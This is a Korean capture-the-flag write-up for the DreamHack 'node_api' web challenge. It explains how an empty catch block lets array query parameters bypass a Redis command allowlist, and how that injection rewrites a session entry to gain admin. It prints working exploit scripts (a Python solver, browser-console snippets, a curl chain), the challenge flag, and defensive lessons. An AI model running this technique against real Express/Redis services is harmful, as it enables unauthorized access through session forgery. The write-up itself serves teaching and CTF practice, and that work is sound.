[🥇 Gold 1] 빈 catch 하나가 명령어 허용목록을 통째로 삼킨다 — DreamHack node_api 풀이

문제: DreamHack — node_api 분류: web 난이도: 🥇 Gold 1 FLAG: DH{c5adc4033f8b685d84d56423082f21ac}

문제 설명은 한 줄이다. "challenge for advanced web hacker!" 그리고 파일 두 개 — main.js 90줄, package.json. 서버에 붙으면 이렇게 맞아 준다.

http://host3.dreamhack.games:13788/

node_api 메인 페이지 — 브라우저 주소창에 host3.dreamhack.games:13788 이 찍혀 있고 본문에는 hello undefined 한 줄만 있다. 아직 로그인 전이라 req.session.userid 가 undefined 인 상태를 그대로 문자열 연결해 출력한 결과다

hello undefined. 세션에 userid 가 없으니 'hello ' + undefined 가 그대로 찍힌 것이다. 렌더링할 화면도, 링크도 없다. 이 문제에서 볼 것은 전부 소스 안에 있다.

문제 개요

항목	내용
문제명	node_api
난이도	🥇 Gold 1
분류	web
제공 파일	`main.js` (2,232 B), `package.json`
스택	Node.js + express 4 + express-session + connect-redis 4 + redis 3
서버	드림핵 VM (`hostN.dreamhack.games:PORT`)
핵심 취약점	예외를 삼키는 빈 `catch` 로 명령어 허용목록 우회 → Redis 명령어 주입 → 세션 저장소 위조

풀이 흐름은 세 걸음이다. /show_logs 에 쿼리스트링을 배열로 보내 명령어 정규화를 무력화하고, 그렇게 열린 임의 Redis 명령으로 세션 저장소를 직접 들여다보고, 내 세션 값을 userid: "admin" 으로 덮어쓴다. 쿠키는 손대지 않는다.

🧩 배경 — 세션은 쿠키에 없다

이 문제를 이해하려면 express-session + connect-redis 조합이 데이터를 어디에 두는지부터 정확히 알아야 한다. 여기가 흐려지면 나중에 엉뚱한 곳을 판다.

express-session 이 브라우저에 내려 주는 쿠키는 이렇게 생겼다.

connect.sid = s%3A4Kby8u97S2SQ1kKQjFp0QzM0VPKCmGYt.YwmgnvyJAyETU58roTqSFz%2BC5VWN84%2BY4Qwucw2ZCI0
              └─ s: ─┘└──────── 세션 ID(sid) ────────┘└──── HMAC-SHA256 서명 ────┘

쿠키에 들어 있는 건 세션 ID 와 그 ID 의 서명뿐이다. 실제 세션 데이터(userid 같은 것)는 서버 쪽 store 에 있다. connect-redis 를 쓰면 그 store 가 Redis 이고, 키 이름은 <prefix> + sid 다. prefix 기본값이 무엇인지는 라이브러리 소스에 박혀 있다.

docker exec node-api-local sh -c "npm ls --depth=0; echo; grep -m4 -n prefix node_modules/connect-redis/lib/connect-redis.js"

npm ls 로 컨테이너에 깔린 의존성(connect-redis 4.0.4 · express 4.22.2 · redis 3.1.2)을 확인하고, connect-redis 소스 21번 줄에서 세션 키 접두어 기본값이 sess: 라는 것을 grep 으로 짚어낸 터미널 화면

21번 줄이 답이다. options.prefix 를 안 주면 'sess:' 다. 문제의 main.js 는 new RedisStore({ client: redis_client }) 로만 넘기니 그대로 기본값을 쓴다. 즉 모든 세션이 sess:<sid> 라는 이름으로 Redis 에 JSON 문자열로 들어 있다.

이게 왜 중요하냐면, 공격 목표가 두 갈래로 갈리기 때문이다.

쿠키를 위조한다 → 서명 비밀키가 필요하다. 그런데 서명은 sid 에만 걸려 있어서, 위조해 봐야 "존재하지 않는 세션"을 가리키는 유효한 쿠키가 된다. userid 는 못 넣는다.
store 를 고친다 → 서명은 건드릴 필요조차 없다. 내가 이미 갖고 있는 쿠키가 가리키는 그 키의 값만 바꾸면 된다.

두 번째가 이 문제의 길이다. 남은 건 "Redis 에 쓸 수 있는가"뿐이다.

🔬 코드 정찰 — 90줄을 끝까지 읽는다

main.js 는 짧다. 위에서부터 보자.

const FLAG = function() {
    try {
        return require('fs').readFileSync('flag.txt').toString();
    } catch (err) {
        return 'DH{*****}';
    }
}()
 
const redis_client = redis.createClient();
const RedisStore = connectRedis(session);
const sess = {
    resave: false,
    secret: 'dreamhack',
    store: new RedisStore({
        client: redis_client
    }),
};
 
const db = {
    'guest': 'guest',
    'dreamhack': '1234',
    'ADMIN': 'this_is_admin?'
}

secret 이 'dreamhack' 으로 하드코딩돼 있다. 눈에 확 들어오지만, 방금 본 이유로 이것만으로는 아무 데도 못 간다. 계정 목록도 통째로 노출돼 있는데 — 여기가 이 문제의 첫 번째 함정이다.

app.get('/flag', function(req, res) {
    if (req.session.userid === "admin") {
        res.send(FLAG)
    } else {
        res.send('hello ' + req.session.userid);
    }
});

/flag 가 요구하는 건 소문자 admin 이고, === 라 타입도 값도 정확히 같아야 한다. 그런데 db 에 있는 관리자 계정은 대문자 ADMIN 이다. 로그인 로직은 이렇다.

function login(user) {
    return user.userpw && db[user.userid] == user.userpw;
}
 
app.get('/login', function(req, res) {
    redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid);
    if (login(req.query)) {
        req.session.userid = req.query.userid;   // 입력한 문자열이 그대로 저장된다
        ...

req.session.userid 에는 내가 보낸 userid 문자열이 그대로 들어간다. db 에 admin 이라는 키가 없으니 db['admin'] 은 undefined 이고, undefined == <무엇이든> 은 참이 될 수 없다(user.userpw 가 truthy 여야 하므로 undefined == undefined 로 빠질 길도 없다). 로그인으로 소문자 admin 세션을 만드는 길은 막혀 있다.

그리고 남은 엔드포인트가 이 문제의 본체다.

app.get('/show_logs', function(req, res) {
    // var log_query=get/log_info
    var log_query = req.query.log_query;
    try {
        log_query = log_query.split('/');
        if (log_query[0].toLowerCase() != 'get') {
            log_query[0] = 'get';
        }
        log_query[1] = log_query.slice(1)
    } catch (err) {
        // Todo
        // Error(403);
    }
    try {
        redis_client.send_command(log_query[0], log_query[1], function(err, result) {
            if (err) {
                res.send('ERR');
            } else {
                res.send(result);
            }
        })
    } catch (err) {
        res.send('try /show_logs?log_query=get/log_info')
    }
});

send_command 는 node_redis 의 저수준 API다. 첫 인자가 명령 이름, 둘째가 인자 배열. 명령 이름을 우리가 준 문자열로 만들어 주는 함수가 사용자 입력 위에 놓여 있는 셈이다.

물론 그냥은 안 된다. log_query[0].toLowerCase() != 'get' 이면 'get' 으로 갈아치우는 세 줄이 앞을 막는다. 안내대로 써 보면 이렇다.

http://host3.dreamhack.games:13788/show_logs?log_query=get/log_info

브라우저에서 show_logs 엔드포인트에 log_query=get/log_info 를 넘긴 화면. 주소창에 전체 쿼리스트링이 보이고 본문에는 Redis 의 log_info 키에 들어 있는 안내 문자열 KEY: log_ + new Date().getTime(), VALUE: userid 가 그대로 출력됐다

정상 동작이다. 그럼 다른 명령을 넣으면 어떻게 될까. del 로 지워 보자.

http://host3.dreamhack.games:13788/show_logs?log_query=del/log_info

del/log_info 를 보냈는데도 키가 지워지지 않고 log_info 의 값이 그대로 돌아온 브라우저 화면. 첫 토큰이 get 이 아니면 무조건 get 으로 교체되기 때문에 DEL 이 GET 으로 바뀌어 실행됐다는 증거

DEL 을 보냈는데 값이 돌아왔다. 첫 토큰이 get 으로 교체되고 GET log_info 가 실행된 것이다. 허용목록이 제대로 도는 걸 눈으로 확인한 셈이다.

🐛 삽질 — 세 번 헛짚고 나서야 타입이 보였다

▶🐛 삽질 1 — ADMIN 으로 로그인하면 되는 거 아닌가

db 에 아이디와 비밀번호가 통째로 적혀 있으니, 가장 먼저 손이 가는 건 그냥 로그인해 보는 것이다.

http://host3.dreamhack.games:13788/login?userid=ADMIN&userpw=this_is_admin%3F

로그인은 된다. 알림창이 login! 이라고 뜬다. 그 상태로 /flag 에 가 보면 이렇다.

ADMIN 계정으로 로그인한 뒤 flag 엔드포인트에 접근한 브라우저 화면. 주소창은 host3.dreamhack.games:13788/flag 이고 본문에는 플래그 대신 hello ADMIN 이 출력돼 대문자와 소문자가 일치하지 않아 조건문을 통과하지 못했음을 보여준다

hello ADMIN. 세션은 제대로 만들어졌고 값도 들어갔는데, === "admin" 을 못 넘는다. 대문자 하나 차이다.

userid 에 admin 을 넣고 비밀번호를 this_is_admin? 로 보내는 것도 당연히 안 된다. db['admin'] 이 undefined 라 비교가 성립하지 않는다. db['constructor'] 처럼 프로토타입 체인을 타는 키를 넣으면 login() 자체는 통과시킬 수 있지만(값이 함수라 문자열과 느슨하게 비교된다), 그렇게 만든 세션의 userid 는 "constructor" 라서 /flag 앞에서 똑같이 막힌다. 로그인 경로로는 소문자 admin 을 만들 수 없다.

▶🐛 삽질 2 — secret 을 아는데 쿠키를 위조하면 끝 아닌가

secret: 'dreamhack' 이 소스에 박혀 있다. 그러면 임의의 sid 에 대해 유효한 서명을 만들 수 있으니, userid 가 admin 인 세션 쿠키를 찍어내면 될 것 같다.

여기서 한참 헤맸다. 쿠키에 담기는 게 세션 데이터가 아니라 세션 ID 라는 걸 놓친 것이다. express-session 은 쿠키에서 sid 만 꺼내 store 에 get(sid) 을 하고, 세션 내용은 전적으로 store 가 돌려준 값을 쓴다. 쿠키를 아무리 예쁘게 서명해 봐야 store 에 그 키가 없으면 빈 세션이 새로 만들어질 뿐이다.

Flask 의 itsdangerous 세션(쿠키 안에 데이터가 통째로 들어간다)과 습관이 섞여서 생긴 착각이었다. 서명 비밀키는 이 문제에서 미끼에 가깝다. 진짜 목표는 store 다.

▶🐛 삽질 3 — 배열로 보냈는데 안내문만 돌아온다

.split 이 문자열 메서드라는 데 생각이 미치면, 값을 배열로 만들어 보내는 발상까지는 금방 간다. 그런데 첫 시도는 이렇게 짰다.

curl -s -g "http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1]=*"

돌아온 건 try /show_logs?log_query=get/log_info 라는 안내문이었다. 예외가 났다는 뜻인데, 왜 났는지가 바로 안 보였다.

원인은 node_redis 쪽이었다. send_command(command, args, callback) 은 args 가 배열이 아니면 TypeError 를 던진다. 위 쿼리는 log_query[1] 을 문자열 '*' 로 만들기 때문에 걸린다. 인자 자리도 배열이어야 한다.

curl -s -g "http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1][0]=*"

log_query[1][0] 처럼 한 겹 더 넣으면 ['keys', ['*']] 가 되고, 그제서야 통과한다. 아래 §핵심의 3번 섹션 [C] 케이스가 이 실패를 그대로 재현한 것이다.

💣 핵심 — 빈 catch 가 정규화 세 줄을 통째로 삼킨다

다시 핸들러를 보자. 정규화는 try 블록 안에 있고, 그 catch 는 이렇게 생겼다.

} catch (err) {
    // Todo
    // Error(403);
}

Error(403) 을 주석 처리해 뒀다. 즉 예외가 나면 아무 일도 일어나지 않는다. 그리고 예외가 나는 지점은 정규화의 첫 줄, log_query.split('/') 이다.

express 의 기본 쿼리 파서는 qs 라서 ?a[0]=x&a[1]=y 를 배열로 만들어 준다. 배열에는 split 이 없다. 그러면:

log_query.split('/') → TypeError
catch 가 삼킨다 (아무것도 안 함)
log_query[0] = 'get' 도, log_query[1] = slice(1) 도 실행되지 않는다
log_query 는 내가 보낸 배열 그대로 남아서 send_command 로 흘러간다

핵심은 3번이다. 허용목록이 "틀렸다"기보다 실행 자체가 안 된다. 예외를 삼키는 catch 하나가 검증 코드를 통째로 건너뛰게 만든 것이다.

이걸 배포본과 같은 버전으로 직접 확인해 보자. 문제 컨테이너 안에서 qs 파싱 → .split → send_command 타입 검사까지 세 단계를 그대로 재현하는 스크립트다.

// qs_probe.js — /show_logs 의 명령어 정규화가 왜 통째로 건너뛰어지는지 세 단계로 확인한다.
const qs = require('qs');
const redis = require('redis');
 
const CASES = [
  ['A', '문자열 (문제가 안내한 사용법)', 'log_query=get/log_info'],
  ['B', '배열 + 중첩배열',              'log_query[0]=keys&log_query[1][0]=*'],
  ['C', '배열 + 문자열',                'log_query[0]=keys&log_query[1]=*'],
];
 
// main.js 의 /show_logs 핸들러 앞부분을 그대로 옮긴 것
function normalize(log_query) {
  try {
    log_query = log_query.split('/');
    if (log_query[0].toLowerCase() != 'get') log_query[0] = 'get';
    log_query[1] = log_query.slice(1);
    return { log_query, caught: null };
  } catch (err) {
    return { log_query, caught: err };            // 원문의 catch 블록은 비어 있다
  }
}
 
console.log('== 1. express 기본 쿼리파서(qs)가 만드는 값 ==');
for (const [id, desc, q] of CASES) {
  const v = qs.parse(q).log_query;
  console.log(`[${id}] ${q}`);
  console.log(`     ${desc}`);
  console.log(`     -> ${Array.isArray(v) ? 'Array' : typeof v}  ${JSON.stringify(v)}`);
}
 
console.log('\n== 2. 그 값에 .split("/") 를 걸었을 때 ==');
for (const [id, , q] of CASES) {
  const { log_query, caught } = normalize(qs.parse(q).log_query);
  console.log(`[${id}] ${caught ? caught.constructor.name + ': ' + caught.message : '정규화 통과 (첫 토큰이 get 으로 고정됨)'}`);
  console.log(`     cmd=${JSON.stringify(log_query[0])}  args=${JSON.stringify(log_query[1])}`);
}
 
console.log('\n== 3. redis_client.send_command(cmd, args) 의 인자 타입 검사 ==');
const client = redis.createClient();
client.on('error', () => {});     // 이 컨테이너엔 redis 서버가 없다. 타입 검사만 본다
for (const [id, , q] of CASES) {
  const { log_query } = normalize(qs.parse(q).log_query);
  try {
    client.send_command(log_query[0], log_query[1], () => {});
    console.log(`[${id}] 전송됨 -> ${String(log_query[0]).toUpperCase()} ${JSON.stringify(log_query[1])}`);
  } catch (err) {
    console.log(`[${id}] ${err.constructor.name}: ${err.message.split('\n')[0]}`);
  }
}
process.exit(0);

docker run --rm -v "$PWD/qs_probe.js:/app/qs_probe.js:ro" node-api-local node /app/qs_probe.js

qs_probe.js 실행 결과. 배열 쿼리는 Array 로 파싱되고, 거기에 split 을 걸면 TypeError: log_query.split is not a function 이 나며 cmd 가 keys 로 남는다. 인자까지 배열인 B 만 KEYS 로 전송된다

세 단계가 한 화면에 다 나왔다.

1단계 — log_query[0]=keys&log_query[1][0]=* 는 ["keys",["*"]] 라는 중첩 배열이 된다.
2단계 — 배열에 .split 을 걸면 TypeError: log_query.split is not a function. 예외가 나도 cmd 는 "keys" 로 남아 있다. 정규화가 안 돈 것이다.
3단계 — send_command 는 인자가 배열일 때만 받는다. [B] 는 KEYS ["*"] 로 전송되고, 인자를 문자열로 준 [C] 는 Wrong input type "String" for args 로 거부된다.

삽질 3에서 막혔던 지점이 [C] 다. 명령 이름은 통과했는데 인자 타입에서 걸렸던 것.

정리하면 갈림길은 이렇게 생겼다.

node_api 공격 체인 다이어그램. 왼쪽은 문자열 쿼리가 split 을 통과해 첫 토큰이 get 으로 고정되는 정상 경로, 오른쪽은 배열 쿼리가 TypeError 를 내고 빈 catch 에 삼켜져 임의 Redis 명령으로 이어지는 공격 경로

말로만 하면 미덥지 않으니 Redis 에 실제로 도달한 명령을 봐야 한다. 로컬 재현 컨테이너에서 redis-cli monitor 를 요청마다 3초씩 열어 두고 네 가지 요청을 흘려보내는 스크립트다.

#!/usr/bin/env bash
# monitor_demo.sh — Redis 에 실제로 어떤 명령이 도달하는지 로컬 재현 컨테이너에서 관찰한다.
# 요청 한 건마다 redis-cli monitor 를 3초씩 열고, 그 창에 찍힌 명령만 라벨과 함께 보여준다.
# 쿠키를 재사용해야(-b/-c) 매 요청마다 새 세션이 저장되는 잡음이 안 섞인다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
B=http://127.0.0.1:18000
JAR=$(mktemp)
trap 'rm -f "$JAR"' EXIT
 
curl -s -o /dev/null -c "$JAR" "$B/"          # 세션 한 번 만들어 두고 시작
 
run() {   # $1=라벨  $2=쿼리스트링
  docker exec -d node-api-local sh -c 'timeout 3 redis-cli monitor > /tmp/mon.log 2>&1'
  sleep 0.7
  curl -s -o /dev/null -g -b "$JAR" -c "$JAR" "$B/show_logs?$2"
  sleep 2.6
  printf '%s\n  GET /show_logs?%s\n' "$1" "$2"
  docker exec node-api-local sh -c 'grep -E "\"(get|del|keys|set)\"" /tmp/mon.log || true' \
    | sed 's/^[0-9.]* \[0 [^]]*\] /  -> /'
  echo
}
 
run '[A] 안내된 사용법'                      'log_query=get/log_info'
run '[B] del 을 보내도 첫 토큰이 get 으로 바뀐다' 'log_query=del/log_info'
run '[C] 배열로 보내면 정규화가 통째로 생략된다'  'log_query[0]=keys&log_query[1][0]=*'
run '[D] 세션 저장소를 직접 덮어쓴다'            'log_query[0]=set&log_query[1][0]=sess:demo&log_query[1][1]=%7B%22userid%22%3A%22admin%22%7D'

./monitor_demo.sh

monitor_demo.sh 실행 결과. redis-cli monitor 가 잡은 명령을 보면 del 을 보낸 B 도 get log_info 로 찍히고, 배열로 보낸 C 와 D 는 keys * 와 set sess:demo 가 그대로 Redis 에 도달했다

읽을 게 두 가지다.

첫째, 묶음마다 맨 앞에 "get" "sess:dJgFXtIhaLI6QFxoeMpCURKBUandl1uX" 가 찍혀 있다. express-session 이 매 요청마다 내 세션을 읽는 흔적이다. 세션 저장소가 우리가 명령을 쏘는 그 Redis 라는 걸 이보다 직접적으로 보여주는 증거는 없다.

둘째, [A] 와 [B] 는 똑같이 "get" "log_info" 다. del 을 보냈는데 get 이 갔다. 반면 [C] 는 "keys" "*" 가, [D] 는 "set" "sess:demo" "{\"userid\":\"admin\"}" 가 그대로 도달했다. 배열로 보낸 순간 허용목록이 사라진다.

🎯 익스플로잇 — 내 세션의 값만 바꾼다

임의 명령이 열렸으니 먼저 저장소를 들여다본다.

http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1][0]=*

라이브 서버에서 KEYS * 를 주입한 브라우저 화면. 주소창에 log_query[0]=keys&log_query[1][0]=* 가 그대로 보이고, 응답 JSON 배열에 sess: 로 시작하는 세션 키 세 개와 log_info, log_1785993190306 같은 로그 키가 함께 나열돼 세션 저장소가 노출됐다

sess: 로 시작하는 키들이 세션이다. log_info 와 log_<타임스탬프> 는 /login 이 남기는 로그. 저장소가 통째로 보인다.

이제 내 세션을 찾아야 한다. 여러 개 중 어느 것이 내 것인지는, 앞에서 ADMIN 으로 로그인해 둔 걸 이용하면 바로 갈린다 — 값 안에 "userid":"ADMIN" 이 있는 게 내 것이다.

// 브라우저 콘솔에서: 세션 키 목록을 받아 내 것(ADMIN)을 찾아 그 값을 보여 준다
const g = (k) => '/show_logs?log_query[0]=get&log_query[1][0]=' + encodeURIComponent(k);
fetch('/show_logs?log_query[0]=keys&log_query[1][0]=' + encodeURIComponent('sess:*'))
  .then(r => r.json())
  .then(async (keys) => {
    for (const k of keys) {
      const v = await fetch(g(k)).then(r => r.text());
      if (v.includes('"userid":"ADMIN"')) { location.href = g(k); return; }
    }
  });

주입한 GET 으로 내 세션 값을 읽어 온 브라우저 화면. 주소창에 log_query[0]=get 과 sess%3A 로 시작하는 세션 키가 보이고, 본문에는 cookie 객체와 userid ADMIN 이 담긴 JSON 이 그대로 출력돼 세션 데이터가 평문으로 저장돼 있음을 보여준다

{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"ADMIN"}

암호화도 없고 무결성 검사도 없다. 그냥 JSON 문자열이다. userid 만 소문자로 바꿔 SET 하면 끝이다.

여기서 한 가지 놓치면 안 되는 게 있다. cookie 필드를 빼면 안 된다. express-session 은 store 에서 세션을 읽은 뒤 Store.prototype.createSession 에서 sess.cookie.expires 를 먼저 읽는데, cookie 가 없으면 거기서 TypeError 가 나면서 요청이 500 으로 죽는다. 위조 값에 cookie 객체를 그대로 실어 주는 이유다.

// 지금 주소창에 있는 그 키를 userid:admin 으로 덮어쓴다
const key = new URLSearchParams(location.search).get('log_query[1][0]');
const sess = {cookie: {originalMaxAge: null, expires: null, httpOnly: true, path: '/'},
              userid: 'admin'};
location.href = '/show_logs?log_query[0]=set'
  + '&log_query[1][0]=' + encodeURIComponent(key)
  + '&log_query[1][1]=' + encodeURIComponent(JSON.stringify(sess));

세션 값을 SET 으로 덮어쓴 직후의 브라우저 화면. 주소창에 log_query[0]=set 과 sess%3A 로 시작하는 키가 보이고 본문에는 Redis 가 돌려준 OK 한 줄만 출력돼 쓰기가 성공했음을 알려준다

OK. Redis 가 값을 받았다는 뜻이다. 쿠키는 처음 받은 그대로 두고 /flag 로 간다.

http://host3.dreamhack.games:13788/flag

flag 엔드포인트에서 실제 플래그를 획득한 브라우저 화면. 주소창은 host3.dreamhack.games:13788/flag 이고 본문에 DH 로 시작하는 플래그 c5adc4033f8b685d84d56423082f21ac 가 출력돼, 세션 저장소를 덮어쓴 것만으로 관리자 조건을 통과했음을 보여준다

쿠키 서명은 단 한 번도 건드리지 않았다. 서버가 내 sid 로 store 를 읽었고, 그 자리에 우리가 써 둔 값이 있었을 뿐이다.

🚀 Full Exploit

브라우저에서 손으로 하던 걸 그대로 스크립트로 옮겼다. 세션 발급부터 플래그까지 한 번에 돈다.

#!/usr/bin/env python3
"""node_api (DreamHack, Gold 1 / web) — Redis 명령어 주입으로 세션 위조
 
/show_logs 는 req.query.log_query 에 .split('/') 을 건다. 쿼리스트링을 배열로 보내면
Array 에는 split 이 없어 TypeError 가 나고, 그 예외를 본문이 빈 catch 가 삼킨다.
그래서 정규화(첫 토큰을 'get' 으로 고정)를 통째로 건너뛴 채 원본 배열이 그대로
redis_client.send_command(log_query[0], log_query[1]) 로 흘러간다 → 임의 Redis 명령.
 
세션 저장소가 그 Redis 라서, 내 세션 키 sess:<sid> 의 값을 SET 으로 덮어쓰면
userid 를 "admin" 으로 바꿀 수 있다. /flag 는 req.session.userid === "admin" 만 본다.
"""
import json
import re
import sys
from urllib.parse import quote, unquote
 
import requests
 
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18000'
 
s = requests.Session()
 
# 1) 세션 발급 — saveUninitialized 기본값이 true 라 첫 요청만으로 sess:<sid> 가 Redis 에 생긴다
r = s.get(f'{BASE}/')
raw = s.cookies.get('connect.sid')
print(f'[1] connect.sid = {raw}')
 
# 쿠키 형식은 s:<sid>.<HMAC-SHA256 서명>. 서명은 그대로 두고 sid 만 뽑는다
sid = unquote(raw)
assert sid.startswith('s:'), sid
sid = sid[2:].split('.', 1)[0]
print(f'[2] sid          = {sid}')
 
# 2) 저장소에 실제로 그 키가 있는지 KEYS 로 확인 (명령어 주입 자체의 증거)
keys = s.get(f'{BASE}/show_logs', params={'log_query[0]': 'keys', 'log_query[1][0]': '*'}).text
print(f'[3] KEYS *       = {keys}')
 
# 3) 세션 값 위조. cookie 필드는 필수 — express-session 의 createSession 이
#    sess.cookie.expires 를 먼저 읽어서, 없으면 TypeError 로 죽는다
forged = {
    "cookie": {"originalMaxAge": None, "expires": None, "httpOnly": True, "path": "/"},
    "userid": "admin",
}
payload = json.dumps(forged, separators=(',', ':'))
url = (f'{BASE}/show_logs?log_query[0]=set'
       f'&log_query[1][0]={quote("sess:" + sid, safe="")}'
       f'&log_query[1][1]={quote(payload, safe="")}')
print(f'[4] SET 응답     = {s.get(url).text}')
 
# 4) 위조된 값이 들어갔는지 GET 으로 되읽는다
back = s.get(f'{BASE}/show_logs',
             params={'log_query[0]': 'get', 'log_query[1][0]': f'sess:{sid}'}).text
print(f'[5] GET sess:sid = {back}')
 
# 5) 서명은 건드리지 않았으니 원래 쿠키 그대로 /flag 로
flag = s.get(f'{BASE}/flag').text
print(f'[6] /flag        = {flag}')
 
m = re.search(r'DH\{[^}]*\}', flag)
print('\nFLAG:', m.group(0) if m else '(플래그 형식 없음 — 위 응답 확인)')

먼저 로컬 컨테이너에 붙여 체인을 확인한다. flag.txt 에는 더미를 심어 뒀다.

python3 solve.py http://127.0.0.1:18000

로컬 컨테이너를 상대로 solve.py 를 돌린 터미널. 쿠키 발급과 sid 추출, KEYS * 로 세션 키 확인, SET 응답 OK 에 이어 컨테이너에 심어 둔 더미 플래그가 마지막 줄에 출력됐다

같은 스크립트를 라이브 서버로 돌린다.

python3 solve.py http://host3.dreamhack.games:13788

드림핵 라이브 서버를 상대로 solve.py 를 돌린 터미널. 발급받은 connect.sid 와 sid, KEYS * 가 돌려준 세션 키 목록, SET 응답 OK, 되읽은 세션 JSON 의 userid admin 에 이어 실제 플래그 c5adc4033f8b685d84d56423082f21ac 가 마지막 줄에 출력됐다

DH{c5adc4033f8b685d84d56423082f21ac}.

🧪 로컬 재현 환경

라이브 서버에 붙기 전에 로컬에서 먼저 다 맞춰 놓고 갔다. 재현에 쓴 것들을 그대로 남긴다.

호스트에 이미 Redis(6379)와 다른 서비스(8000)가 떠 있어서, main.js 를 한 글자도 고치지 않으려면 컨테이너로 격리하는 편이 낫다. redis.createClient() 가 인자 없이 127.0.0.1:6379 를 보기 때문에 Redis 도 같은 컨테이너에 넣는다.

FROM node:14-bullseye
 
RUN apt-get update \
 && apt-get install -y --no-install-recommends redis-server \
 && rm -rf /var/lib/apt/lists/*
 
WORKDIR /app
COPY package.json ./
RUN npm install --no-audit --no-fund
 
COPY main.js ./
RUN printf 'DH{LOCAL_FAKE_FLAG_not_the_real_one}' > flag.txt
 
EXPOSE 8000
CMD redis-server --daemonize yes --save '' && exec node main.js

docker build -t node-api-local local/
docker run -d --name node-api-local -p 127.0.0.1:18000:8000 node-api-local

두 가지는 미리 알고 있어야 시간을 안 버린다.

node:14-buster 는 이제 안 된다. Debian buster 가 아카이브로 넘어가서 apt-get update 가 404 로 죽는다. bullseye 로 올려야 한다.

그리고 package.json 의 의존성이 전부 캐럿(^) 범위라, npm install 은 2020년 배포본이 아니라 그 범위의 최신 패치 버전을 깐다. 실제로 express 4.22.2 · express-session 1.19.0 이 들어왔다(위 §배경의 캡쳐 참고). 취약점의 성격상 결과는 같지만, 로컬에서 되는 게 곧 원격에서 된다는 보장은 아니다. 그래서 라이브 서버에서도 같은 스크립트로 한 번 더 확인했다.

전체를 한 방에 다시 돌려 보려면 reproduce.sh 하나면 된다. 인자가 없으면 로컬 컨테이너를 세워 체인만 검증하고, 서버 주소를 주면 진짜 플래그까지 받아 정답과 대조한다.

#!/usr/bin/env bash
# node_api (DreamHack Gold 1 / web) — 한 방 재현.
#
#   ./reproduce.sh                          로컬 도커로 익스 체인만 재현 (flag 는 로컬 더미)
#   ./reproduce.sh http://hostN…:PORT       라이브 서버로 진짜 flag 획득 + 정답 대조
#
# 이 문제의 flag 는 문제 서버 컨테이너 안 flag.txt 에만 있다. 오프라인으로 진짜 flag 를
# 만들어낼 방법이 없으므로, 인자 없이 돌리면 "체인이 살아 있다"까지만 증명한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT='DH{c5adc4033f8b685d84d56423082f21ac}'
 
if [ $# -ge 1 ]; then
  OUT=$(timeout 300 python3 solve.py "$1" 2>&1) || true
  echo "$OUT" | tail -8
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
    echo; echo "✅ PASS  $FLAG"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1
fi
 
DUMMY='DH{LOCAL_FAKE_FLAG_not_the_real_one}'
docker build -q -t node-api-local local/ >/dev/null
docker rm -f node-api-local >/dev/null 2>&1 || true
docker run -d --name node-api-local -p 127.0.0.1:18000:8000 node-api-local >/dev/null
trap 'docker rm -f node-api-local >/dev/null 2>&1 || true' EXIT
 
for _ in $(seq 30); do
  curl -sf -o /dev/null http://127.0.0.1:18000/ && break
  sleep 1
done
 
OUT=$(timeout 120 python3 solve.py http://127.0.0.1:18000 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
if [ "$FLAG" = "$DUMMY" ]; then
  echo
  echo "✅ 체인 재현 성공 — 세션 저장소를 덮어써 /flag 가 열렸다."
  exit 0
fi
echo; echo "❌ FAIL (로컬 체인이 깨졌다. 얻은 값: '${FLAG:-없음}')"; exit 1

📝 결론

예외를 삼키면 검증도 같이 사라진다

이 문제의 취약점은 허용목록의 논리가 아니라 그것이 놓인 위치다. if (log_query[0] != 'get') 자체는 멀쩡하다. 다만 그 세 줄이 try 안에 있고, 앞줄에서 예외가 나면 통째로 건너뛰어진다.

catch 가 비어 있어서 아무도 알아채지 못한다. Error(403) 은 주석으로만 남아 있다.

검증 코드를 try 안에 넣을 거라면 catch 는 반드시 요청을 거절해야 한다. 로그만 남기고 넘어가는 것도 같은 실수다. 통과할 수 없는 요청을 통과시키는 것보다는 500 이 낫다.

타입 검사는 값 검사보다 먼저다

log_query.split('/') 은 입력이 문자열이라는 걸 전제한다. 그런데 express 의 기본 쿼리 파서는 같은 파라미터를 문자열로도, 배열로도, 객체로도 만들어 준다. Node 웹 취약점의 상당수가 여기서 시작한다.

typeof log_query !== 'string' 한 줄이면 이 문제는 없다. 라이브러리가 어떤 타입을 돌려줄 수 있는지 알고 쓰는 것과, 문자열이겠거니 하고 쓰는 것의 차이다.

세션 저장소는 신뢰 경계 안쪽이다

세션 쿠키에 서명을 걸어 두면 안전하다고 생각하기 쉽다. 그런데 서명은 세션 ID 를 지킬 뿐, 저장소에 있는 세션 값은 지키지 않는다. 저장소에 쓸 수 있는 구멍이 하나라도 있으면 서명은 무의미하다.

여기서는 애플리케이션과 세션 저장소가 같은 Redis 인스턴스를 공유한 것이 결정타였다. 로그 조회 기능에 붙은 구멍 하나가 인증 전체를 무너뜨렸다. 용도가 다른 데이터는 DB 번호라도 분리하고, 애플리케이션이 store 접두어(sess:)로 시작하는 키를 건드릴 수 없게 막아 두는 편이 낫다.

저수준 API 위에 사용자 입력을 얹지 않는다

send_command 는 명령 이름을 문자열로 받는다. 그 자리에 사용자 입력이 닿는 순간, 방어선은 "명령 이름 필터" 하나뿐이 된다. 필터는 언젠가 뚫린다.

읽기만 필요했다면 redis_client.get(key, cb) 를 쓰면 된다. 명령 이름이 코드에 고정되니 애초에 우회할 대상이 없다. 필터를 잘 만드는 것보다, 필터가 필요 없는 API 를 고르는 게 낫다.

[🥇 Gold 1] 빈 catch 하나가 명령어 허용목록을 통째로 삼킨다 — DreamHack node_api 풀이

댓글

관련 글

[🥈 Silver 4] 쿠키 한 줄이 서버에서 eval 된다 — DreamHack node-serialize 풀이

